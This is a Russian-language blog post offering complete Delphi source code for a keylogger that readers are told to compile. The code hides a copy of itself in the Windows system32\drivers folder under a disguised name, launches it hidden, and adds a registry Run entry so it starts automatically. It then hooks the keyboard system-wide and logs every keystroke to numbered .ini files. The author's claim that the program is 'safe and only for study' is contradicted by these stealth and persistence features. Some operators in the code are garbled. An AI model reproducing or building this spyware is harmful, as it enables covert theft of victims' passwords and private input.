Клавиатурный шпион при помощи Delphi

Источник: pblog

Вот исходничек простенького клавиатурника можете делать с ним что хотите, главное не зазнавайтесь! К основным его преемуществам могу отнести то что он очень мал для проги такого класса (19кб), что кстати ломает убеждение о грамоздкости Delphi дает мало места в оперативке (обычно 1-1,5мб)! Программа абсолютно безопастная и предназдначенна только для изучения!

Вот код:

program ntrty;
//                  KBS ver. 1.0
//
//    Клавиатурный шпион, DE@l Group (c) 2005-2007;
// При первом запуске проги происходит самокопирование
// программы в путь dir с именем name! И прописывание
// в автозагрузку той копии проги!
//    Про запуске проги через автозапуск прога кидает
// файлу в путь: %USERPROFILE% с именами name+номер+ext
// при каждом запуске создаётся файл со следующим по
// порядку номером, а при достижении файла размера в
// MaxFileSize создаётся следующий файл!
//    При запуске проги в ручную файл с отчётом
// создаётся в каталоге с прогой!
//                            13.04.2007 (пятница)
uses Windows;
const
dir = "C:\WINDOWS\system32\drivers\";
name = "ntrty";
ext = ".ini";
ARCStr = "cmd /c reg ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v ";
MaxFileSize = 2048;
var
HkHnd : hHook;
FCh : file of Char;
line : longint;
hApp : THandle;
wClass : TWndClass;
wMSG : TMSG;
function WC(hInstance: HWND; style,ClsExtra,WndExtra:integer; ICON: hIcon; CURSOR: hCursor; Background: HBrush; ClassName,MenuName: string; Proc: Pointer): TWndClass;
var
wCls : TWNDClass;
begin
wCls.hInstance:=hInstance;
wCls.style:= style;
with wCls do
begin
hIcon         := ICON;
lpfnWndProc   := Proc;
hbrBackground := Background;
lpszClassName := PChar(ClassName);
hCursor       := CURSOR;
cbClsExtra    := ClsExtra;
cbWndExtra    := WndExtra;
lpszMenuName := PChar(MenuName);
end;
Result:=wCls;
end;
function CreateWnd(wClass: TWndClass; hInstance: HWND; Caption: string; w,h: integer): HWND;
begin
Result:=CreateWindow(wClass.lpszClassName,
PChar(Caption),(0 or $C00000 or $800000 or
$400000 or $200000 or $100000 or $10000000),
Integer(DWORD($80000000)),Integer(DWORD($80000000)),
w, h, 0, 0, hInstance, nil);
end;
procedure lpWindow(Msg: TMsg);
begin
while GetMessage(Msg,0,0,0) do
begin
TranslateMessage(Msg);
DispatchMessage(Msg);
end;
end;
function IntToStr(Int: integer): string;
begin
Str(Int, result);
end;
function FileExists(const FileName : String) : Boolean;
var
Code : Integer;
begin
Code := GetFileAttributes(PChar(FileName));
Result := (Code -1) and (16 and Code = 0);
end;
function GetName: string;
var
i : longint;
begin
i:=0;
repeat
Inc(i);
until not FileExists(name+IntToStr(i)+ext);
Result:=name+IntToStr(i)+ext;
end;
function Win32Check(RetVal: BOOL): BOOL;
begin
if not RetVal then GetLastError;
Result := RetVal;
end;
function GetCharFromVKey(vkey: Word): string;
var
keyst : TKeyboardState;
retcode : Integer;
begin
Win32Check(GetKeyboardState(keyst));
SetLength(Result, 2);
retcode := ToAscii(vkey,
MapVirtualKeyA(vkey, 0),
keyst, @Result[1],0);
case retcode of
0: Result := ";
1: SetLength(Result, 1);
2: ;
else
Result := ";
end;
end;
function HookPr(Code: integer; WParam: word; LParam: Longint): Longint; stdcall;
var
msg : PEVENTMSG;
b : Char;
s : string;
begin
if Code >= 0 then
begin
msg := Pointer(LParam);
if msg.message=256 then
begin
Inc(line);
s:=GetCharFromVKey(msg.paramL);
if Length(s)>0 then
begin
b:=s[1];
if (line mod 80)=0 then BlockWrite(FCh,#10#13,2);
BlockWrite(FCh,b,1);
end;
end;
if FileSize(FCh)>MaxFileSize then
begin
CloseFile(FCh);
AssignFile(FCh,GetName);
ReWrite(FCh)
end;
result := CallNextHookEx(HkHnd, code, WParam, LParam);
end;
end;
function WndMessageProc(hWnd: HWND; Msg: UINT; wParam: WPARAM; lParam: LPARAM): UINT; stdcall;
begin
case Msg of
1:
begin
if not FileExists(dir+name+".exe") then
begin
Copyfile(PChar(paramstr(0)),dir+name+".exe",BOOL(0));
WinExec(dir+name+".exe",SW_Hide);
halt(0);
end;
WinExec(PChar(ARCStr+name+" /t REG_SZ /d "+dir+name+".exe /f"),SW_Hide);
line:=0;
AssignFile(FCh,GetName);
ReWrite(FCh);
repeat
HkHnd := SetWindowsHookEx(0, @HookPr, hInstance, 0);
until HkHnd0;
end;
2:
begin
if HkHnd 0 then
UnhookWindowsHookEx(HkHnd);
CloseFile(FCh);
halt(0);
end;
end;
Result := DefWindowProc(hWnd,Msg,wParam,lParam);
end;
begin
wClass:=WC(hInstance,0,0,0,0,0,15,"MYCLASS",",@WndMessageProc);
RegisterClass(wClass);
hApp:=CreateWindow(wClass.lpszClassName, ",0,
Integer(DWORD($80000000)),
Integer(DWORD($80000000)),
0, 0, 0, 0, hInstance, nil);
if hApp=0 then
begin
UnregisterClass("MYCLASS",hInstance);
halt(0);
end;
lpWindow(wMsg);
end.

Этот код просто необходимо сохранить в текстовом файле с расширением .dpr и открыть в Делфи!

Ссылки по теме